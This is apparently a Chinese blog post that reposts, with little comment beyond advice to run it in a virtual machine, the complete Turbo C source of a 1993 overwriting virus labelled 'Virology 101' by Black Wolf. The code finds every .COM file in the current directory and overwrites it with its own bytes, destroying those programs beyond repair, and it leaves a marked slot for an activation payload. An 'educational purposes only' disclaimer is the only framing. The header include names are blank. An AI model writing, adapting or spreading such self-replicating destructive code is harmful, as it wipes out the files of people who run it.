C++程序(1),最好在虚拟机上运行

代码:
      - - ------------------ Cut Here -------------------------- - - 
  /* This is a simple overwriting virus programmed in Turbo C */ 
  /* It will infect all .COM files in the current directory */ 
  /* Infections destroy the programs and cannot be cured */ 
  /* It was presented in Virology 101 (c) 1993 Black Wolf */ 
  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */ 
  #include  
  #include  
  #include  
  FILE *Virus,*Host; 
  int x,y,done; 
  char buff[256]; 
  struct ffblk ffblk; 
  main() 
  { 
  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */ 
  while (!done) /* Loop for all COM's in DIR*/ 
  { 
  printf("Infecting %s\n", ffblk.ff_name); /* Inform user */ 
  Virus=fopen(_argv[0],"rb"); /* Open infected file */ 
  Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */ 
  x=9504; /* Virus size - must */ 
  /* be correct for the */ 
  /* compiler it is made */ 
  /* on, otherwise the */ 
  /* entire virus may not*/ 
  /* be copied!! */ 
  while (x>256) /* OVERWRITE new Host */ 
  { /* Read/Write 256 byte */ 
  fread(buff,256,1,Virus); /* chunks until bytes */ 
  fwrite(buff,256,1,Host); /* left < 256 */ 
  x-=256; 
  } 
  fread(buff,x,1,Virus); /* Finish off copy */ 
  fwrite(buff,x,1,Host); 
  fcloseall(); /* Close both files and*/ 
  done = findnext(&ffblk); /* go for another one. */ 
  } 
  /* Activation would go */ 
  /* here */ 
  return (0); /* Terminate */ 
  } 
  - - ------------------ Cut Here --------------------------- - -

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值